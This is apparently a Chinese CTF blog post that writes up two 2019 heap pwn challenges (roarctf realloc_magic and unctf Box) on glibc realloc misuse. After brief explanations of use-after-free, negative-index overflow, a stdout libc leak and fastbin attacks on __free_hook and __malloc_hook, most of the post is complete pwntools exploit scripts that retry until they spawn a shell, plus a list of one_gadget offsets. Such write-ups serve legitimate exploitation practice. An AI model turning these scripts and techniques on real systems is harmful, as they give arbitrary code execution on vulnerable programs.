记两个关于realloc函数的pwn

October 29, 2019 PWN 访问: 67 次

2019-roarctf-realloc_magic

题目环境在 libc-2.27
程序保护全开,提供了三个功能
- add:利用realloc函数创建chunk,size可控
- delete:free函数释放掉chunk,堆指针未置零,造成UAF
- br:提供一次可以将realloc_ptr置零的机会
realloc函数用法在上一篇已经总结过了,但是这道题值得注意的是,当物理地址相邻的chunk在unsorted bin的时候,如果够下次分配的总地址的话,会从unsorted bin中的chunk中进行分割,剩下的会进入相应的bin
攻击手法:
- 首先控制chunk,造成合并,从而可以部分覆盖main_arena地址,使之指向stdout
- fastbin attack来修改stdout造成泄露libc
- 然后还是fastbin attack修改hookone_gg
Exp:

from pwn import *
import sys
context.log_level='debug'
debug = 0
file_name = './pwn'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = 'node3.buuoj.cn'
prot = '28653'
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True,timeout=3)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
def create(chunk_size,value):
    ru('>> ')
    sl('1')
    ru('Size?')
    sl(str(chunk_size))
    ru('Content?')
    sd(value)
def delete():
    ru('>> ')
    sl('2')
def debug():
    gdb.attach(r)
    # raw_input()
while True:
    try:
        r = process("./pwn")
        #r = remote(ip,int(prot))
        libc = ELF(libc_name)
        create(0x68,"a")
        create(0,"")#free
        create(0x98,"b")
        create(0,"")#free
        create(0xa8,"c")
        create(0,"")#free
        create(0x98,"d")
        for x in range(7):
            delete()
        create(0,"")#free
        create(0x68,"e")
        #create(0x70,"a")
        create(0x100,"a"*0x68+p64(0x31)+"\x60\x77")
        create(0,"")#free
        create(0x98,"f")
        create(0,"")#free
        #debug()
        create(0x98,p64(0xfbad1800)+p64(0)*3+"\x00")
        date = rud('>> ')
        if "\x7f" not in date:
            raise EOFError;
        puts_sym = libc.symbols['puts']
        li("puts_sym",puts_sym)
        libc_base = u64(date[0x59:0x59+6]+"\x00\x00")-0x3e82a0
        li("libc_base",libc_base)
        free_hook = libc_base+libc.symbols['__free_hook']
        system = libc_base+ libc.symbols['system']
        sl("666")
        create(0x100,"b"*0x68+p64(0x41)+p64(free_hook))
        create(0,"")
        create(0x20,"a")
        create(0,"")
        create(0x20,p64(system))
        create(0,"")
        create(0x50,"/bin/sh\x00")
        delete()
        debug()
        ri()
    except EOFError:
        r.close()

2019-unctf-Box

这道题的关键就是数组溢出,index的数据类型是int类型,所以可以造成数组溢出
edit时直接输入-12即可编辑stdout中的内容,然后就可以leak libc
然后delete的时候没有将指向chunk地址的地址置零,所以造成UAF,利用fastbin attack来修改realloc_hookone_gg
但是最后拿shell的时候发现4个one_gg都不能拿到shell,这时候就要换一种思路了,__realloc_hook__malloc_hook在一块,我们覆盖__realloc_hook为0,然后__malloc_hook覆盖为one_gg,然后通过create一个不是堆的地址,使程序报错,就会调用malloc,然后就可以获取到shell了
Exp:

from pwn import *
import sys
context.log_level='debug'
debug = 0
file_name = './Box'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = '101.71.29.5'
prot = '10035'
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True,timeout=1)
ru = lambda x : r.recvuntil(x,timeout=1)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
def create(index,chunk_size):
    ru('Your Choice: ')
    sl('1')
    ru('Box ID: ')
    sl(str(index))
    ru("Box Size: ")
    sl(str(chunk_size))
def delete(index):
    ru('Your Choice: ')
    sl('3')
    ru('Box ID: ')
    sl(str(index))
def edit(index,value):
    ru('Your Choice: ')
    sl('2')
    ru('Box ID: ')
    sl(str(index))
    ru('Box Content: ')
    sl(value)
def debug():
    gdb.attach(r)
    raw_input()
while True:
    try:
        r = remote(ip,int(prot))
        #r = process("./Box")
        libc = ELF(libc_name)
        edit(-12,p64(0xfbad1800)+p64(0)*3+"\x00")
        r.recv(0xc48)
        libc_base = u64(r.recv(6,timeout=1).ljust(8,'\x00'))-0x3c56a3
        puts_sym = libc.symbols['puts']
        li("puts_sym",puts_sym)
        li("libc_base",libc_base)
        if (libc_base&0xffff)%0x1000!=0:
            raise EOFError
        __malloc_hook = libc_base + libc.symbols['__malloc_hook']
        malloc_addr = libc_base + libc.symbols['malloc']
        create(0,0x68)
        create(1,0x68)
        delete(0)
        create(1,0)
        create(0,0)
        create(0,0x68)
        edit(0,p64(__malloc_hook-0x23))
        create(1,0x68)
        create(2,0x68)
        create(3,0x68)
        one_gg = 0xf02a4+libc_base
        edit(3,"aaa"+p64(0)*2+p64(one_gg))
        # edit(1,"\x00"*0x68)
        create(-12,0)
        # debug()
        ri()
    except EOFError:
        r.close()
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

添加新评论